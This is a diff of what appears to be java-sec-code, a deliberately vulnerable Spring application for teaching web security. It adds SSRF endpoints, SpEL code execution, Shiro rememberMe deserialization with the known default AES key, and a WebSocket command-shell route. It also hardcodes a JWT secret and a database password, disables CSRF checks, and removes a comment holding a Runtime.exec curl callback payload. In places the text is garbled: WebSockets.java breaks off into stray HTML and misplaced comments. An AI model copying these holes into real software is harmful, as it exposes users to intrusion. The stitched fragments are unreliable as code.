- public String url_bypass(String url) {
+ public void url_bypass(String url, HttpServletResponse res) throws IOException {
logger.info("url: " + url);
if (!SecurityUtil.isHttp(url)) {
- return "Url is not http or https";
+ return;
}
- String host = SecurityUtil.gethost(url);
+ URL u = new URL(url);
+ String host = u.getHost();
logger.info("host: " + host);
// endsWith .
for (String domain : domainwhitelist) {
if (host.endsWith("." + domain)) {
- return "Good url.";
+ res.sendRedirect(url);
}
}
- return "Bad url.";
}
/**
- * 一级域名白名单 First-level host whitelist.
- * http://localhost:8080/url/sec/endswith?url=http://aa.joychou.org
+ * First-level & Multi-level host whitelist.
+ * http://localhost:8080/url/sec?url=http://aa.joychou.org
*/
- @GetMapping("/sec/endswith")
- public String sec_endswith(@RequestParam("url") String url) {
+ @GetMapping("/sec")
+ public String sec(@RequestParam("url") String url) {
- String whiteDomainlists[] = {"joychou.org", "joychou.com"};
+ String whiteDomainlists[] = {"joychou.org", "joychou.com", "test.joychou.me"};
if (!SecurityUtil.isHttp(url)) {
return "SecurityUtil is not http or https";
@@ -129,42 +133,19 @@ public String sec_endswith(@RequestParam("url") String url) {
String host = SecurityUtil.gethost(url);
- // endsWith .
- for (String domain : whiteDomainlists) {
- if (host.endsWith("." + domain)) {
- return "Good url.";
+ for (String whiteHost: whiteDomainlists){
+ if (whiteHost.startsWith(".") && host.endsWith(whiteHost)) {
+ return url;
+ } else if (!whiteHost.startsWith(".") && host.equals(whiteHost)) {
+ return url;
}
}
return "Bad url.";
}
- /**
- * 多级域名白名单 Multi-level host whitelist.
- * http://localhost:8080/url/sec/multi_level_hos?url=http://ccc.bbb.joychou.org
- */
- @GetMapping("/sec/multi_level_host")
- public String sec_multi_level_host(@RequestParam("url") String url) {
- String whiteDomainlists[] = {"aaa.joychou.org", "ccc.bbb.joychou.org"};
-
- if (!SecurityUtil.isHttp(url)) {
- return "SecurityUtil is not http or https";
- }
-
- String host = SecurityUtil.gethost(url);
-
- // equals
- for (String domain : whiteDomainlists) {
- if (host.equals(domain)) {
- return "Good url.";
- }
- }
- return "Bad url.";
- }
-
/**
- * 多级域名白名单 Multi-level host whitelist.
* http://localhost:8080/url/sec/array_indexOf?url=http://ccc.bbb.joychou.org
*/
@GetMapping("/sec/array_indexOf")
diff --git a/src/main/java/org/joychou/controller/WebSockets.java b/src/main/java/org/joychou/controller/WebSockets.java
new file mode 100644
index 00000000..6a477ece
--- /dev/null
+++ b/src/main/java/org/joychou/controller/WebSockets.java
@@ -0,0 +1,76 @@
+package org.joychou.controller;
+
+import org.apache.tomcat.websocket.server.WsServerContainer;
+import org.joychou.config.WebSocketsProxyEndpoint;
+import org.joychou.config.WebSocketsCmdEndpoint;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import javax.servlet.ServletContext;
+import javax.servlet.http.HttpServletRequest;
+import javax.websocket.server.ServerContainer;
+import javax.websocket.server.ServerEndpointConfig;
+
+
+@RestController
+public class WebSockets {
+
+ /**
+ * 动态添加WebSockets实现命令执行
+ * 1. WebSocket的端口和Spring端口一致。
+ * http://localhost:8080/websocket/cmd?path=/ws/shell JoyChou @ 2023年02月20日
+ * Redirects: GET HttpMethod follow redirects by default, other HttpMethods do not follow redirects.
+ * User-Agent: Java/1.8.0_102
+ */
+ public String RequestHttp(String url, HttpHeaders headers) {
+ HttpEntity
+ * Redirects: Disable followRedirects.
+ * User-Agent: Java/1.8.0_102
+ */
+ public String RequestHttpBanRedirects(String url, HttpHeaders headers) {
+ HttpEntity Normal: Bypass: Hello . Welcome to login java-sec-code application. Application Infomation
- CmdInject
- JSONP
- FileUpload
- Cors
- PathTraversal
- SqlInject
- SSRF
- RCE
- ooxml XXE
- xlsx-streamer XXE
- ... Hello . Welcome to login java-sec-code application. Application Infomation
+ Swagger
+ CmdInject
+ JSONP
+ Picture Upload
+ File Upload
+ Cors
+ PathTraversal
+ SqlInject
+ SSRF
+ RCE
+ ooxml XXE
+ xlsx-streamer XXE
+ actuator env
+
+ JWTCreateToken
+ GetUserFromJWTToken
+ ...
*
- * @param username username
+ * http://localhost:8080/sqli/jdbc/vuln?username=joychou
*/
@RequestMapping("/jdbc/vuln")
public String jdbc_sqli_vul(@RequestParam("username") String username) {
@@ -77,7 +78,7 @@ public String jdbc_sqli_vul(@RequestParam("username") String username) {
} catch (ClassNotFoundException e) {
- logger.error("Sorry,can`t find the Driver!");
+ logger.error("Sorry, can't find the Driver!");
} catch (SQLException e) {
logger.error(e.toString());
}
@@ -86,10 +87,9 @@ public String jdbc_sqli_vul(@RequestParam("username") String username) {
/**
- * Security Code.
- * http://localhost:8080/sqli/jdbc/sec?username=joychou
+ *
*
- * @param username username
+ * http://localhost:8080/sqli/jdbc/sec?username=joychou
*/
@RequestMapping("/jdbc/sec")
public String jdbc_sqli_sec(@RequestParam("username") String username) {
@@ -100,7 +100,7 @@ public String jdbc_sqli_sec(@RequestParam("username") String username) {
Connection con = DriverManager.getConnection(url, user, password);
if (!con.isClosed())
- System.out.println("Connecting to Database successfully.");
+ System.out.println("Connect to database successfully.");
// fix code
String sql = "select * from users where username = ?";
@@ -122,7 +122,7 @@ public String jdbc_sqli_sec(@RequestParam("username") String username) {
con.close();
} catch (ClassNotFoundException e) {
- logger.error("Sorry, can`t find the Driver!");
+ logger.error("Sorry, can't find the Driver!");
e.printStackTrace();
} catch (SQLException e) {
logger.error(e.toString());
@@ -130,11 +130,53 @@ public String jdbc_sqli_sec(@RequestParam("username") String username) {
return result.toString();
}
+
/**
- * vuln code
- * http://localhost:8080/sqli/mybatis/vuln01?username=joychou' or '1'='1
- *
- * @param username username
+ *
+ * Protocol: file ftp mailto http https jar netdoc.
+ * UserAgent is Java/1.8.0_102.
+ * Apache-HttpClient/4.5.12 (Java/1.8.0_102).
- *
- * http://localhost:8080/ssrf/request/sec?url=http://test.joychou.org
+ * UserAgent is Apache-HttpClient/4.5.12 (Java/1.8.0_102).
+ * http://localhost:8080/ssrf/request/sec?url=http://test.joychou.org
*/
@GetMapping("/request/sec")
public String request(@RequestParam String url) {
@@ -93,12 +108,12 @@ public String request(@RequestParam String url) {
/**
- * Download the url file.
- * http://localhost:8080/ssrf/openStream?url=file:///etc/passwd
- *
+ * new URL(String url).openConnection()
+ * new URL(String url).openStream()
+ * new URL(String url).getContent()
+ * http://localhost:8080/ssrf/openStream?url=file:///etc/passwd
+
*/
@GetMapping("/openStream")
public void openStream(@RequestParam String url, HttpServletResponse response) throws IOException {
@@ -150,31 +165,24 @@ public String ImageIO(@RequestParam String url) {
}
- /**
- * The default setting of followRedirects is true.
- * UserAgent is okhttp/2.5.0.
- */
@GetMapping("/okhttp/sec")
public String okhttp(@RequestParam String url) {
try {
SecurityUtil.startSSRFHook();
- HttpUtils.okhttp(url);
+ return HttpUtils.okhttp(url);
} catch (SSRFException | IOException e) {
return e.getMessage();
} finally {
SecurityUtil.stopSSRFHook();
}
- return "okhttp ssrf test";
}
-
/**
* The default setting of followRedirects is true.
- * UserAgent is Apache-HttpClient/4.5.12 (Java/1.8.0_102).
- *
- * http://localhost:8080/ssrf/httpclient/sec?url=http://www.baidu.com
+ * UserAgent is Apache-HttpClient/4.5.12 (Java/1.8.0_102).
+ * http://localhost:8080/ssrf/httpclient/sec?url=http://www.baidu.com
*/
@GetMapping("/httpclient/sec")
public String HttpClient(@RequestParam String url) {
@@ -194,8 +202,7 @@ public String HttpClient(@RequestParam String url) {
/**
* The default setting of followRedirects is true.
* UserAgent is Jakarta Commons-HttpClient/3.1.
- *
- * http://localhost:8080/ssrf/commonsHttpClient/sec?url=http://www.baidu.com
+ * http://localhost:8080/ssrf/commonsHttpClient/sec?url=http://www.baidu.com
*/
@GetMapping("/commonsHttpClient/sec")
public String commonsHttpClient(@RequestParam String url) {
@@ -213,9 +220,8 @@ public String commonsHttpClient(@RequestParam String url) {
/**
* The default setting of followRedirects is true.
- * UserAgent is the useragent of browser.
- *
- * http://localhost:8080/ssrf/Jsoup?url=http://www.baidu.com
+ * UserAgent is the useragent of browser.
+ * http://localhost:8080/ssrf/Jsoup?url=http://www.baidu.com
*/
@GetMapping("/Jsoup/sec")
public String Jsoup(@RequestParam String url) {
@@ -234,9 +240,8 @@ public String Jsoup(@RequestParam String url) {
/**
* The default setting of followRedirects is true.
- * UserAgent is Java/1.8.0_102.
- *
- * http://localhost:8080/ssrf/IOUtils/sec?url=http://www.baidu.com
+ * UserAgent is Java/1.8.0_102.
+ * http://localhost:8080/ssrf/IOUtils/sec?url=http://www.baidu.com
*/
@GetMapping("/IOUtils/sec")
public String IOUtils(String url) {
@@ -263,4 +268,51 @@ public String HttpSyncClients(@RequestParam("url") String url) {
}
+ /**
+ * Only support HTTP protocol.
+ * GET HttpMethod follow redirects by default, other HttpMethods do not follow redirects.
+ * User-Agent is Java/1.8.0_102.
+ * http://127.0.0.1:8080/ssrf/restTemplate/vuln1?url=http://www.baidu.com
+ */
+ @GetMapping("/restTemplate/vuln1")
+ public String RestTemplateUrlBanRedirects(String url){
+ HttpHeaders headers = new HttpHeaders();
+ headers.setContentType(MediaType.APPLICATION_JSON_UTF8);
+ return httpService.RequestHttpBanRedirects(url, headers);
+ }
+
+
+ @GetMapping("/restTemplate/vuln2")
+ public String RestTemplateUrl(String url){
+ HttpHeaders headers = new HttpHeaders();
+ headers.setContentType(MediaType.APPLICATION_JSON_UTF8);
+ return httpService.RequestHttp(url, headers);
+ }
+
+
+ /**
+ * UserAgent is Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36 Hutool.
+ * Do not follow redirects.
+ * http://127.0.0.1:8080/ssrf/hutool/vuln?url=http://www.baidu.com
+ */
+ @GetMapping("/hutool/vuln")
+ public String hutoolHttp(String url){
+ return HttpUtil.get(url);
+ }
+
+
+ /**
+ * DnsRebind SSRF in java by setting ttl is zero.
+ * http://localhost:8080/ssrf/dnsrebind/vuln?url=dnsrebind_url
+ */
+ @GetMapping("/dnsrebind/vuln")
+ public String DnsRebind(String url) {
+ java.security.Security.setProperty("networkaddress.cache.negative.ttl" , "0");
+ if (!SecurityUtil.checkSSRFWithoutRedirect(url)) {
+ return "Dangerous url";
+ }
+ return HttpUtil.get(url);
+ }
+
+
}
diff --git a/src/main/java/org/joychou/controller/Shiro.java b/src/main/java/org/joychou/controller/Shiro.java
new file mode 100644
index 00000000..2dc143ca
--- /dev/null
+++ b/src/main/java/org/joychou/controller/Shiro.java
@@ -0,0 +1,49 @@
+package org.joychou.controller;
+
+
+import lombok.extern.slf4j.Slf4j;
+import org.apache.shiro.crypto.AesCipherService;
+import org.joychou.config.Constants;
+import org.joychou.util.CookieUtils;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RestController;
+import javax.servlet.http.Cookie;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.*;
+import static org.springframework.web.util.WebUtils.getCookie;
+
+@Slf4j
+@RestController
+public class Shiro {
+
+ byte[] KEYS = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
+ private final static String DELETE_ME = "deleteMe";
+ AesCipherService acs = new AesCipherService();
+
+
+ @GetMapping(value = "/shiro/deserialize")
+ public String shiro_deserialize(HttpServletRequest req, HttpServletResponse res) {
+ Cookie cookie = getCookie(req, Constants.REMEMBER_ME_COOKIE);
+ if (null == cookie) {
+ return "No rememberMe cookie. Right?";
+ }
+
+ try {
+ String rememberMe = cookie.getValue();
+ byte[] b64DecodeRememberMe = java.util.Base64.getDecoder().decode(rememberMe);
+ byte[] aesDecrypt = acs.decrypt(b64DecodeRememberMe, KEYS).getBytes();
+ ByteArrayInputStream bytes = new ByteArrayInputStream(aesDecrypt);
+ ObjectInputStream in = new ObjectInputStream(bytes);
+ in.readObject();
+ in.close();
+ } catch (Exception e){
+ if (CookieUtils.addCookie(res, "rememberMe", DELETE_ME)){
+ log.error(e.getMessage());
+ return "RememberMe cookie decrypt error. Set deleteMe cookie success.";
+ }
+ }
+
+ return "Shiro deserialize";
+ }
+}
diff --git a/src/main/java/org/joychou/controller/SpEL.java b/src/main/java/org/joychou/controller/SpEL.java
index 82163ab2..452180b8 100644
--- a/src/main/java/org/joychou/controller/SpEL.java
+++ b/src/main/java/org/joychou/controller/SpEL.java
@@ -1,38 +1,64 @@
package org.joychou.controller;
+import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
+import org.springframework.expression.common.TemplateParserContext;
import org.springframework.expression.spel.standard.SpelExpressionParser;
-import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.expression.spel.support.SimpleEvaluationContext;
+import org.springframework.expression.spel.support.StandardEvaluationContext;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
/**
- * SpEL Injection
- *
+ * SpEL Injection.
* @author JoyChou @2019-01-17
*/
@RestController
public class SpEL {
/**
- * SPEL to RCE
- * http://localhost:8080/spel/vul/?expression=xxx.
- * xxx is urlencode(exp)
- * exp: T(java.lang.Runtime).getRuntime().exec("curl xxx.ceye.io")
+ * Use Spel to execute cmd. #{} if using TemplateParserContext.
+ */
+ @RequestMapping("spel/vuln2")
+ public String spel_vuln2(String value) {
+ StandardEvaluationContext context = new StandardEvaluationContext();
+ SpelExpressionParser parser = new SpelExpressionParser();
+ Expression expression = parser.parseExpression(value, new TemplateParserContext());
+ Object x = expression.getValue(context); // trigger vulnerability point
+ return x.toString(); // response
+ }
+
+ /**
+ * Use SimpleEvaluationContext to fix.
+ */
+ @RequestMapping("spel/sec")
+ public String spel_sec(String value) {
+ SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
+ SpelExpressionParser parser = new SpelExpressionParser();
+ Expression expression = parser.parseExpression(value, new TemplateParserContext());
+ Object x = expression.getValue(context);
+ return x.toString();
}
public static void main(String[] args) {
ExpressionParser parser = new SpelExpressionParser();
- String expression = "T(java.lang.Runtime).getRuntime().exec(\"open -a Calculator\")";
+ String expression = "1+1";
String result = parser.parseExpression(expression).getValue().toString();
System.out.println(result);
}
+
}
diff --git a/src/main/java/org/joychou/controller/Test.java b/src/main/java/org/joychou/controller/Test.java
deleted file mode 100644
index 3b75c7d0..00000000
--- a/src/main/java/org/joychou/controller/Test.java
+++ /dev/null
@@ -1,36 +0,0 @@
-package org.joychou.controller;
-
-import org.springframework.stereotype.Controller;
-import org.springframework.web.bind.annotation.RequestMapping;
-import org.springframework.web.bind.annotation.ResponseBody;
-import org.springframework.web.bind.annotation.RestController;
-
-import javax.servlet.http.Cookie;
-import javax.servlet.http.HttpServletResponse;
-
-@RestController
-@RequestMapping("/test")
-public class Test {
-
- @RequestMapping(value = "/")
- public String Index(HttpServletResponse response, String empId) {
-
- System.out.println(empId);
- Cookie cookie = new Cookie("XSRF-TOKEN", "123");
- cookie.setDomain("taobao.com");
- cookie.setMaxAge(-1); // forever time
- response.addCookie(cookie);
- return "success";
- }
-
-
- @RequestMapping(value = "/aa")
- public void test(HttpServletResponse response, String empId) {
-
- System.out.println(empId);
- Cookie cookie = new Cookie("XSRF-TOKEN", "123");
- cookie.setDomain("taobao.com");
- cookie.setMaxAge(-1); // forever time
- response.addCookie(cookie);
- }
-}
diff --git a/src/main/java/org/joychou/controller/URLWhiteList.java b/src/main/java/org/joychou/controller/URLWhiteList.java
index b4d3c2f0..156cc73d 100644
--- a/src/main/java/org/joychou/controller/URLWhiteList.java
+++ b/src/main/java/org/joychou/controller/URLWhiteList.java
@@ -6,6 +6,9 @@
import org.slf4j.LoggerFactory;
import org.springframework.web.bind.annotation.*;
+import javax.servlet.http.HttpServletResponse;
+import java.io.IOException;
+import java.net.URL;
import java.util.ArrayList;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
@@ -84,44 +87,45 @@ public String regex(@RequestParam("url") String url) {
/**
- * The bypass of using java.net.URL to getHost.
+ * The bypass of using {@link java.net.URL} to getHost.
*
+ * 2. 如果应用需要登录,动态添加的WebSocket路由不能要求被登录,否则添加失败。
+ *
+ * WebSockets 的URL为ws://127.0.0.1:8080/ws/shell
+ *
*
- * @param host 域名host
+ *
+ *
+
+ *
+ *
+ * @return decimal ip
*/
- private static String host2ip(String host) {
+ public static String host2ip(String host) {
+
+ if (null == host) {
+ return "";
+ }
+
+ // convert octal to decimal
+ if(isOctalIP(host)) {
+ host = decimalIp;
+ }
+
try {
- InetAddress IpAddress = InetAddress.getByName(host); // send dns request
+ // send dns request
+ InetAddress IpAddress = InetAddress.getByName(host);
return IpAddress.getHostAddress();
} catch (Exception e) {
+ logger.error("host2ip exception " + e.getMessage());
return "";
}
}
+
/**
- * 从URL中获取host,限制为http/https协议。只支持http:// 和 https://,不支持//的http协议。
- *
- * @param url http的url
+ * Check whether the host is an octal IP, if so, convert it to decimal.
+ * @return Octal ip returns true, others return false. 012.23.78.233 return true. 012.0x17.78.233 return false.
+ */
+ public static boolean isOctalIP(String host) {
+ try{
+ String[] ipParts = host.split("\\.");
+ StringBuilder newDecimalIP = new StringBuilder();
+ boolean is_octal = false;
+
+ // Octal ip only has number and dot character.
+ if (isNumberOrDot(host)) {
+
+ // not support ipv6
+ if (ipParts.length > 4) {
+ logger.error("Illegal ipv4: " + host);
+ return false;
+ }
+
+ // 01205647351
+ if( ipParts.length == 1 && host.startsWith("0") ) {
+ decimalIp = Integer.valueOf(host, 8).toString();
+ return true;
+ }
+
+ // 012.23.78.233
+ for(String ip : ipParts) {
+ if (!isNumber(ip)){
+ logger.error("Illegal ipv4: " + host);
+ return false;
+ }
+ // start with "0", but not "0"
+ if (ip.startsWith("0") && !ip.equals("0")) {
+ if (Integer.valueOf(ip, 8) >= 256){
+ logger.error("Illegal ipv4: " + host);
+ return false;
+ }
+ newDecimalIP.append(Integer.valueOf(ip, 8)).append(".");
+ is_octal = true;
+ }else{
+ if (Integer.valueOf(ip, 10) >= 256) {
+ logger.error("Illegal ipv4: " + host);
+ return false;
+ }
+ newDecimalIP.append(ip).append(".");
+ }
+ }
+ // delete last char .
+ decimalIp = newDecimalIP.substring(0, newDecimalIP.lastIndexOf("."));
+ }
+ return is_octal;
+ } catch (Exception e){
+ logger.error("SSRFChecker isOctalIP exception: " + e.getMessage());
+ return false;
+ }
+
+ }
+
+ /**
+ * Check string is a number.
+ * @return If string is a number 0-9, return true. Otherwise, return false.
+ */
+ private static boolean isNumber(String str) {
+ if (null == str || "".equals(str)) {
+ return false;
+ }
+ for (int i = 0; i < str.length(); i++) {
+ char ch = str.charAt(i);
+ if (ch < '0' || ch > '9') {
+ return false;
+ }
+ }
+ return true;
+ }
+
+
+ /**
+ * Check string is a number or dot.
+ * @return If string is a number or a dot, return true. Otherwise, return false.
+ */
+ private static boolean isNumberOrDot(String s) {
+ for (int i = 0; i < s.length(); i++) {
+ char ch = s.charAt(i);
+ if ((ch < '0' || ch > '9') && ch != '.'){
+ return false;
+ }
+ }
+ return true;
+ }
+
+ /**
+ * Get host from URL which the protocol must be http:// or https:// and not be //.
*/
private static String url2host(String url) {
try {
- // 使用URI,而非URL,防止被绕过。
+ // use URI instead of URL
URI u = new URI(url);
if (SecurityUtil.isHttp(url)) {
return u.getHost();
diff --git a/src/main/java/org/joychou/service/HttpService.java b/src/main/java/org/joychou/service/HttpService.java
new file mode 100644
index 00000000..198a5311
--- /dev/null
+++ b/src/main/java/org/joychou/service/HttpService.java
@@ -0,0 +1,11 @@
+package org.joychou.service;
+
+
+import org.springframework.http.HttpHeaders;
+
+public interface HttpService {
+
+ String RequestHttp(String url, HttpHeaders headers);
+
+ String RequestHttpBanRedirects(String url, HttpHeaders headers);
+}
diff --git a/src/main/java/org/joychou/util/CookieUtils.java b/src/main/java/org/joychou/util/CookieUtils.java
new file mode 100644
index 00000000..f63b6e42
--- /dev/null
+++ b/src/main/java/org/joychou/util/CookieUtils.java
@@ -0,0 +1,37 @@
+package org.joychou.util;
+
+import lombok.extern.slf4j.Slf4j;
+
+import javax.servlet.http.Cookie;
+import javax.servlet.http.HttpServletResponse;
+
+
+@Slf4j
+public class CookieUtils {
+
+ public static boolean deleteCookie(HttpServletResponse res, String cookieName) {
+ try {
+ Cookie cookie = new Cookie(cookieName, null);
+ cookie.setMaxAge(0);
+ cookie.setPath("/");
+ res.addCookie(cookie);
+ return true;
+ } catch (Exception e) {
+ log.error(e.toString());
+ return false;
+ }
+ }
+
+ public static boolean addCookie(HttpServletResponse res, String cookieName, String cookieValue) {
+ try {
+ Cookie cookie = new Cookie(cookieName, cookieValue);
+ cookie.setMaxAge(1000);
+ cookie.setPath("/");
+ res.addCookie(cookie);
+ return true;
+ } catch (Exception e) {
+ log.error(e.toString());
+ return false;
+ }
+ }
+}
diff --git a/src/main/java/org/joychou/util/HttpUtils.java b/src/main/java/org/joychou/util/HttpUtils.java
index 571680a2..c1eac95c 100644
--- a/src/main/java/org/joychou/util/HttpUtils.java
+++ b/src/main/java/org/joychou/util/HttpUtils.java
@@ -20,6 +20,7 @@
import javax.imageio.ImageIO;
import java.io.BufferedReader;
import java.io.IOException;
+import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URI;
@@ -32,7 +33,7 @@
*/
public class HttpUtils {
- private static Logger logger = LoggerFactory.getLogger(HttpUtils.class);
+ private final static Logger logger = LoggerFactory.getLogger(HttpUtils.class);
public static String commonHttpClient(String url) {
@@ -70,6 +71,8 @@ public static String httpClient(String url) {
CloseableHttpClient client = HttpClients.createDefault();
HttpGet httpGet = new HttpGet(url);
+ // set redirect enable false
+ // httpGet.setConfig(RequestConfig.custom().setRedirectsEnabled(false).build());
HttpResponse httpResponse = client.execute(httpGet); // send request
BufferedReader rd = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent()));
@@ -106,12 +109,19 @@ public static String URLConnection(String url) {
}
- public static String HTTPURLConnection(String url) {
+ /**
+ * The default setting of followRedirects is true.
+ * UserAgent is Java/1.8.0_102.
+ */
+ public static String HttpURLConnection(String url) {
try {
URL u = new URL(url);
URLConnection urlConnection = u.openConnection();
- HttpURLConnection httpUrl = (HttpURLConnection) urlConnection;
- BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream())); //send request
+ HttpURLConnection conn = (HttpURLConnection) urlConnection;
+// conn.setInstanceFollowRedirects(false);
+// Many HttpURLConnection methods can send http request, such as getResponseCode, getHeaderField
+ InputStream is = conn.getInputStream(); // send request
+ BufferedReader in = new BufferedReader(new InputStreamReader(is));
String inputLine;
StringBuilder html = new StringBuilder();
@@ -135,7 +145,7 @@ public static String HTTPURLConnection(String url) {
public static String Jsoup(String url) {
try {
Document doc = Jsoup.connect(url)
- //.followRedirects(false)
+// .followRedirects(false)
.timeout(3000)
.cookie("name", "joychou") // request cookies
.execute().parse();
@@ -146,13 +156,26 @@ public static String Jsoup(String url) {
}
- public static void okhttp(String url) throws IOException {
+ /**
+ * The default setting of followRedirects is true. The option of followRedirects is true.
+ *
+ * UserAgent is okhttp/2.5.0.
+ */
+ public static String okhttp(String url) throws IOException {
OkHttpClient client = new OkHttpClient();
+// client.setFollowRedirects(false);
com.squareup.okhttp.Request ok_http = new com.squareup.okhttp.Request.Builder().url(url).build();
- client.newCall(ok_http).execute();
+ return client.newCall(ok_http).execute().body().string();
}
+ /**
+ * The default setting of followRedirects is true.
+ *
+ * UserAgent is Java/1.8.0_102.
+ *
+ * @param url http request url
+ */
public static void imageIO(String url) {
try {
URL u = new URL(url);
@@ -196,8 +219,5 @@ public static String HttpAsyncClients(String url) {
logger.error(e.getMessage());
}
}
-
}
-
-
}
diff --git a/src/main/java/org/joychou/util/JwtUtils.java b/src/main/java/org/joychou/util/JwtUtils.java
new file mode 100644
index 00000000..bb33642e
--- /dev/null
+++ b/src/main/java/org/joychou/util/JwtUtils.java
@@ -0,0 +1,104 @@
+package org.joychou.util;
+
+import com.auth0.jwt.JWT;
+import com.auth0.jwt.JWTVerifier;
+import com.auth0.jwt.algorithms.Algorithm;
+import com.auth0.jwt.exceptions.JWTVerificationException;
+import io.jsonwebtoken.Claims;
+import io.jsonwebtoken.Jwts;
+import io.jsonwebtoken.SignatureAlgorithm;
+import lombok.extern.slf4j.Slf4j;
+
+import java.nio.charset.StandardCharsets;
+import java.util.Base64;
+import java.util.Date;
+
+@Slf4j
+public class JwtUtils {
+
+ private static final long EXPIRE = 1440 * 60 * 1000; // 1440 Minutes, 1 DAY
+ private static final String SECRET = "123456";
+ private static final String B64_SECRET = Base64.getEncoder().encodeToString(SECRET.getBytes(StandardCharsets.UTF_8));
+
+ /**
+ * Generate JWT Token by jjwt (last update time: Jul 05, 2018)
+ *
+ * @author JoyChou 2022-09-20
+ * @param userId userid
+ * @return token
+ */
+ public static String generateTokenByJjwt(String userId) {
+ return Jwts.builder()
+ .setHeaderParam("typ", "JWT") // header
+ .setHeaderParam("alg", "HS256") // header
+ .setIssuedAt(new Date()) // token发布时间
+ .setExpiration(new Date(System.currentTimeMillis() + EXPIRE)) // token过期时间
+ .claim("userid", userId)
+ // secret在signWith会base64解码,但网上很多代码示例并没对secret做base64编码,所以在爆破key的时候可以注意下。
+ .signWith(SignatureAlgorithm.HS256, B64_SECRET)
+ .compact();
+ }
+
+ public static String getUserIdFromJjwtToken(String token) {
+ try {
+ Claims claims = Jwts.parser().setSigningKey(B64_SECRET).parseClaimsJws(token).getBody();
+ return (String)claims.get("userid");
+ } catch (Exception e) {
+ return e.toString();
+ }
+ }
+
+ /**
+ * Generate jwt token by java-jwt.
+ *
+ * @author JoyChou 2022-09-20
+ * @param nickname nickname
+ * @return jwt token
+ */
+ public static String generateTokenByJavaJwt(String nickname) {
+ return JWT.create()
+ .withClaim("nickname", nickname)
+ .withExpiresAt(new Date(System.currentTimeMillis() + EXPIRE))
+ .withIssuedAt(new Date())
+ .sign(Algorithm.HMAC256(SECRET));
+ }
+
+
+ /**
+ * Verify JWT Token
+ * @param token token
+ * @return Valid token returns true. Invalid token returns false.
+ */
+ public static Boolean verifyTokenByJavaJwt(String token) {
+ try {
+ Algorithm algorithm = Algorithm.HMAC256(SECRET);
+ JWTVerifier verifier = JWT.require(algorithm).build();
+ verifier.verify(token);
+ return true;
+ } catch (JWTVerificationException exception){
+ log.error(exception.toString());
+ return false;
+ }
+ }
+
+
+ public static String getNicknameByJavaJwt(String token) {
+ // If the signature is not verified, there will be security issues.
+ if (!verifyTokenByJavaJwt(token)) {
+ log.error("token is invalid");
+ return null;
+ }
+ return JWT.decode(token).getClaim("nickname").asString();
+ }
+
+
+ public static void main(String[] args) {
+ String jjwtToken = generateTokenByJjwt("10000");
+ System.out.println(jjwtToken);
+ System.out.println(getUserIdFromJjwtToken(jjwtToken));
+
+ String token = generateTokenByJavaJwt("JoyChou");
+ System.out.println(token);
+ System.out.println(getNicknameByJavaJwt(token));
+ }
+}
diff --git a/src/main/java/org/joychou/util/WebUtils.java b/src/main/java/org/joychou/util/WebUtils.java
index 4816df8e..0445f310 100644
--- a/src/main/java/org/joychou/util/WebUtils.java
+++ b/src/main/java/org/joychou/util/WebUtils.java
@@ -2,9 +2,7 @@
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletRequest;
-import java.io.File;
-import java.io.IOException;
-import java.io.InputStream;
+import java.io.*;
import com.google.common.base.Preconditions;
import org.springframework.web.util.HtmlUtils;
@@ -17,7 +15,6 @@ public static String getRequestBody(HttpServletRequest request) throws IOExcepti
return convertStreamToString(in);
}
-
// https://stackoverflow.com/questions/309424/how-do-i-read-convert-an-inputstream-into-a-string-in-java
public static String convertStreamToString(java.io.InputStream is) {
java.util.Scanner s = new java.util.Scanner(is).useDelimiter("\\A");
diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties
index c9934946..326a2b76 100644
--- a/src/main/resources/application.properties
+++ b/src/main/resources/application.properties
@@ -1,5 +1,5 @@
-spring.datasource.url=jdbc:mysql://localhost:3306/java_sec_code?AllowPublicKeyRetrieval=true&useSSL=false&serverTimezone=UTC
+spring.datasource.url=jdbc:mysql://localhost:3306/java_sec_code?allowPublicKeyRetrieval=true&useSSL=false&serverTimezone=UTC
spring.datasource.username=root
spring.datasource.password=woshishujukumima
spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver
@@ -7,13 +7,15 @@ mybatis.mapper-locations=classpath:mapper/*.xml
# mybatis SQL log
logging.level.org.joychou.mapper=debug
-# Spring Boot Actuator Vulnerable Config
+# Spring Boot Actuator Config
management.security.enabled=false
+
# logging.config=classpath:logback-online.xml
-# 业务的callback参数,不支持多个
+# jsonp callback parameter
joychou.business.callback = callback_
+
### check referer configuration begins ###
joychou.security.referer.enabled = false
joychou.security.referer.host = joychou.org, joychou.com
@@ -24,19 +26,34 @@ joychou.security.referer.uri = /jsonp/**
### csrf configuration begins ###
# csrf token check
-joychou.security.csrf.enabled = true
+joychou.security.csrf.enabled = false
# URI without CSRF check (only support ANT url format)
-joychou.security.csrf.exclude.url = /xxe/**, /fastjson/**, /xstream/**, /ssrf/**
+joychou.security.csrf.exclude.url = /xxe/**, /fastjson/**, /xstream/**, /ssrf/**, /deserialize/**
# method for CSRF check
joychou.security.csrf.method = POST
### csrf configuration ends ###
-### jsonp configuration begins ### # auto convert json to jsonp
+### jsonp configuration begins ###
+# auto convert json to jsonp
# referer check
joychou.security.jsonp.referer.check.enabled = true
joychou.security.jsonp.callback = callback, _callback
### jsonp configuration ends ###
+# swagger
+swagger.enable = true
+
+
+### no need to login page begins ###
+joychou.no.need.login.url = /css/**, /js/**, /xxe/**, /rce/**, /deserialize/**, /test/**, /ws/**, /shiro/**, /ssrf/**, /spel/**, /qlexpress/**
+### no need to login page ends ###
+
+
+
+# http header max size
+#server.max-http-header-size=30000
